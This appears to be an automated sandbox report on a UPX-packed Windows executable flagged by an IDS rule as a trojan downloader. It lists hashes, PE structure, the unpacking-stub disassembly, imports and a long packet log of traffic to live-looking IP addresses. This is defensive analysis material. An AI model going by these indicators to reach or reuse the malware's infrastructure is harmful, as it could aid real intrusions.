SHA-512:	C781D579DE6511FA3C8D82A5FA1DF72A6CF613F60094DE5C12889144D74F4C037E3D1C6C6161AF016D54E203A4749DF82415DEF4A2673C4ACFB632516381B406
Malicious:	false
Reputation:	unknown
Preview:	..Updated 2 rule(s)...Ok.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.9253563586346685
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	38iGnQnL33.exe
File size:	265'216 bytes
MD5:	f9f5342074462fa1048fea806eef535f
SHA1:	61c4e925d54b4e85564abb2a233b976306ee4e74
SHA256:	5d87bd723f8267c3c0bef75f2b502321c518ac6a09696f3971ace53d0ba505cd
SHA512:	5b1823ae6153f30e9c24b2240aea2610f5f05182ae66b933122721d312d8fae8ef8ca3cdfe03b4f316e12c7e45acfe0f1fcdd35f5b81748477f27477ce00b9b9
SSDEEP:	6144:r+k9IKKJPa1DyKHC055swEUkezQ12rqyFWaiwV:ik9IKKJip9C0kmzQ12rqyQaX
TLSH:	FB4423B9277F8093D257803F653DDA517589F5E1004AC7EE812A071ADE327FEE689831
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,...hs..hs..hs...\|..ks...o..rs..^U...s...\|..{s..hs...r..^U..?s..hs..is...l..js..Richhs..........................PE..L.....sf...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4ccfa0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x66738095 [Thu Jun 20 01:06:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3b3dc2709d13b6bbe20eb1df71d207fa

Entrypoint Preview

Instruction
pushad
mov esi, 0048D000h
lea edi, dword ptr [esi-0008C000h]
push edi
or ebp, FFFFFFFFh
jmp 00007F4684C25A92h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F4684C25A89h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F4684C25A6Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F4684C25A89h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F4684C25A8Dh
jne 00007F4684C25AAAh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F4684C25AA1h
dec eax
add ebx, ebx
jne 00007F4684C25A89h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007F4684C25A56h
add ebx, ebx
jne 00007F4684C25A89h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007F4684C25AD4h
xor ecx, ecx
sub eax, 03h
jc 00007F4684C25A93h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F4684C25AF7h
sar eax, 1
mov ebp, eax
jmp 00007F4684C25A8Dh
add ebx, ebx
jne 00007F4684C25A89h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F4684C25A4Eh
inc ecx
add ebx, ebx
jne 00007F4684C25A89h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F4684C25A40h
add ebx, ebx
jne 00007F4684C25A89h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F4684C25A71h
jne 00007F4684C25A8Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F4684C25A66h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [eax+eax]

Rich Headers

Programming Language:

[ C ] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xce340	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xce000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x8c000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x8d000	0x41000	0x40200	e9ff4dbd33c80b938ca3d4c82f719603	False	0.9859512061403509	data	7.93453844052451	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xce000	0x1000	0x600	ab6a73725617362e7e60b620462a84ba	False	0.37109375	data	3.2879846555532484	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xce05c	0x2e4	data	Chinese	China	0.3945945945945946

Imports

DLL	Import
ADVAPI32.dll	RegCloseKey
COMCTL32.dll
GDI32.dll	Escape
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
SHELL32.dll
SHLWAPI.dll	PathFileExistsA
USER32.dll	GetDC
WINSPOOL.DRV	ClosePrinter

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/29/24-08:04:56.737488	TCP	2819992	ETPRO TROJAN Downloader Receiving Likely APT.Rexpot Variant	80	49731	81.28.12.12	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 29, 2024 08:04:54.288901091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:54.293884039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:54.293953896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:54.294142962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:54.298878908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:54.312011957 CEST	49732	3306	192.168.2.4	110.11.158.238
Jun 29, 2024 08:04:54.316806078 CEST	3306	49732	110.11.158.238	192.168.2.4
Jun 29, 2024 08:04:54.316873074 CEST	49732	3306	192.168.2.4	110.11.158.238
Jun 29, 2024 08:04:54.454626083 CEST	49732	3306	192.168.2.4	110.11.158.238
Jun 29, 2024 08:04:54.459511042 CEST	3306	49732	110.11.158.238	192.168.2.4
Jun 29, 2024 08:04:56.737488031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737512112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737526894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737540960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737556934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737571955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737587929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737585068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.737585068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.737689018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.737689018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.737719059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737737894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737778902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.737818956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.737854958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.737886906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.742568970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.742616892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.742636919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.742661953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.826735973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.826766968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.826782942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.826841116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.826880932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.826896906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.826913118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.826927900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.826982021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.826982975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.827451944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.827467918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.827481985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.827512980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.827528954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.827533960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.827543974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.827581882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.827611923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.828349113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.828363895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.828380108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.828403950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.828418016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.828423023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.828433037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.828497887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:56.943962097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:56.944144011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.036864042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.036932945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.037014008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.037036896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.037053108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.037084103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.037113905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.037137032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.037192106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.037225008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.037250996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.037313938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.038618088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.038651943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.038665056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.038691998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.038727999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.040278912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.040294886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.040307999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.040338993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.040370941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.041899920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.041914940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.041929007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.041958094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.042005062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.042985916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.043052912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.043064117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.043080091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.043123007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.044517040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.044531107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.044570923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.044580936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.044611931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.045969963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.046011925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.046024084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.046072006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.047394037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.047447920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.047460079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.047503948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.047535896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.048861027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.048887014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.048899889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.048928022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.048959017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.050679922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.050695896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.050709009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.050734997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.050766945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.051907063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.051923037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.051935911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.051983118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.051984072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.052020073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.077073097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.077363968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.239550114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.241455078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.327636957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.327653885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.327670097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.327685118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.327708960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.327748060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.329175949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.329217911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.329231024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.329252005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.329288006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.330776930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.330833912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.330837011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.330849886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.330883980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.330914974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.332323074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.332350969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.332364082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.332379103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.332412004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.332412004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.333964109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.333990097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.334002018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.334022045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.334054947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.334054947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.335578918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.335593939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.335611105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.335647106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.335678101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.337022066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.337076902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.337083101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.337126017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.337127924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.337140083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.337173939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.337208033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.338671923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.338696003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.338707924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.338728905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.338758945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.340194941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.340230942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.340243101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.340255022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.340306044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.340306044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.341701984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.341727018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.341739893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.341759920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.341787100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.341787100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.343300104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.343326092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.343338966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.343357086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.343389988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.343389988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.344877958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.344893932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.344932079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.344963074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.617264986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.617320061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.617327929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.617392063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.617563009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.617588043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.617602110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.617609024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.617645025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.617645025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.619304895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.619332075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.619347095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.619353056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.619385004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.619385004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.620985031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.621010065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.621035099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.621041059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.621064901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.621088982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.622528076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.622560978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.622575045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.622584105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.622616053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.622616053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.624222040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.624248028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.624262094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.624272108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.624305964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.624305964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.625802994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.625817060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.625854969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.625863075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.625875950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.625894070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.625907898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.625957966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.627545118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.627559900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.627583027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.627599001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.627630949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.627630949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.629096985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.629111052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.629187107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.629199982 CEST	80	49731	81.28.12.12	192.168.2.4
